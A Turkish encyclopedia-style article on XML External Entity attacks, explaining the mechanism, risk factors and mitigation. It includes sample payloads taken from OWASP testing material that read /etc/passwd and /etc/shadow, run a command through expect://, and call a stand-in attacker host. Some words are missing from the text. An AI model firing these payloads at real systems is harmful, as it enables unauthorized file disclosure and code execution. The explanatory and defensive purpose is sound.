XML harici varlık saldırısı

**XML Harici Varlık** saldırısı, XML girdilerini ayrıştıran bir uygulamaya karşı yapılan bir saldırı türüdür. Bu saldırı, harici bir varlığa referans içeren XML girdisi eksik yapılandırılmış bir XML ayrıştırıcısı ile işlendiğinde gerçekleşir. Bu saldırı gizli verilerin ifşasına, hizmet dışı bırakmaya, sunucu taraflı istek sahteciliğine, ayrıştırıcının bulunduğu makine tarafında port taramaya ve başka sistem etkilerine yol açabilir.

## Açıklama
XML 1.0 standardı bir XML belgesinin yapısını tanımlar. Standart, bir tür depolama birimi olan ve varlık olarak adlandırılan bir kavramı tanımlar. Beyan edilmiş bir  ile yerel veya uzak içeriğe erişebilen birkaç farklı varlık tipi vardır. Harici genel/parametre ayrıştırılmış varlık sıklıkla harici varlığa kısaltılır. Sistem tanımlayıcısı varlık işlenirken XML işlemcisi tarafından erişilebilen bir URI olduğu varsayılır. XML işlemcisi sonra sistem tanımlayıcısı tarafından erişilen içeriklerin harici varlık oluşumlarının yerini almasını sağlar. Sistem tanımlayıcısı bozulmuş veri içeriyorsa ve XML işlemcisi bu bozulmuş veriye erişirse, XML işlemcisi uygulama tarafından normalde erişilemeyen gizli bilgileri ifşa edebilir. Harici DTD’lerin, harici , harici  vb. kullanımında benzer şekilde harici kaynağa ekleme türü saldırılarına izin veriliyorsa ve dahil edildiklerinde benzer atak vektörleri uygulanır.

Saldırılar, sistem tanımlayıcısındaki göreceli dizinler veya dosya şemaları kullanılarak parola ya da özel kullanıcı verileri gibi hassas veriler içerebilecek yerel dosyaları ifşa etmeyi içerebilir. XML belgesini işleyen uygulamaya ilişkin atak meydana geldiğinde, saldırgan bu güvenilir uygulamadan başka iç sistemlere geçmek ve muhtemelen başka iç sistem bileşenlerini http(s) istekleri üzerinden ifşa etmek veya korumasız herhangi bir iç servise bir  saldırısı başlatmak için kullanabilir. Bazı durumlarda, istemci taraflı bellek bozulması sorunlarına zafiyeti bulunan bir XML işlemci kütüphanesi, zararlı bir  ’ye erişerek ve muhtemelen uygulama hesabı altında rastgele kod çalıştırılmasına izin vererek sömürülebilir. Diğer saldırılar veri döndürmeyi durduramayan yerel kaynaklara erişebilir ve çok fazla iş parçacığı veya işlem başlatılmazsa uygulamanın erişilebilirliğini etkileyebilir.

Uygulamanın, bilgi ifşasına zafiyetinin bulunması için saldırgana cevabı açıkça döndürmesine gerek yoktur. Saldırgan alt etki alanı adları aracılığıyla denetimleri altındaki bir DNS sunucusuna veri aktarmak için DNS bilgisinden istifade edebilir.

## Risk faktörleri

* Uygulama XML belgelerini ayrıştırır. 
* Bozuk verilere, varlığın sistem tanımlayıcı bölümünde belge türü tanımı (DTD) dahilinde izin verilir.
* XML işlemci DTD'yi doğrulayacak ve işleyecek şekilde yapılandırılmıştır. 
* XML işlemci DTD dahilinde harici varlıkları çözmek için yapılandırılmıştır.

## Örnekler
Aşağıdaki örnekler *XML Enjeksiyonu Testi'nden (OWASP-DV-008) alınmıştır* .

### Geri dönmeyebilir yerel bir kaynağa erişme

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
```


### Uzaktan kod çalıştırma
PHP "expect" modülü yüklendiğinde değiştirilmiş bir veri yükü (payload) ile  mümkün olabilir. 
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
     <creds>
        <user>&xxe;</user>
        <pass>mypass</pass>
     </creds>
```


### /etc/passwd veya diğer hedeflenen dosyaların ifşası

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```


## Hafifletme
Tüm XML belgesi güvenilmeyen bir istemciden iletildiğinden, DTD'deki sistem tanımlayıcısında bozulmuş verileri seçip  veya elemine etmek genellikle mümkün değildir. Bu sebeple, XML işlemcisi yerel sabit bir DTD kullanacak şekilde yapılandırılmalı ve XML dokümanına dahil edilen beyan edilmiş herhangi bir DTD'ye izin vermemelidir.

## Ayrıca bakınız

* SQL enjeksiyonu 
* Kör SQL enjeksiyonu

## Kaynakça

## Dış bağlantılar

* OWASP XML External Entity (XXE) Prevention Cheat Sheet  
* Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques  
* Precursor presentation of above paper - at OWASP AppSec USA 2013  
* CWE-611: Information Exposure Through XML External Entity Reference  
* CWE-827: Improper Control of Document Type Definition  
* Sascha Herzog's Presentation on XML External Entity Attacks - at OWASP AppSec Germany 2010  
* PostgreSQL XXE vulnerability  
* SharePoint and DotNetNuke XXE Vulnerabilities, in French  
* XML Denial of Service Attacks and Defenses (in .NET)  
* Early (2002) BugTraq Article on XXE  
* XML 1.0 Extensible Markup Language (XML) 1.0 (Fifth Edition)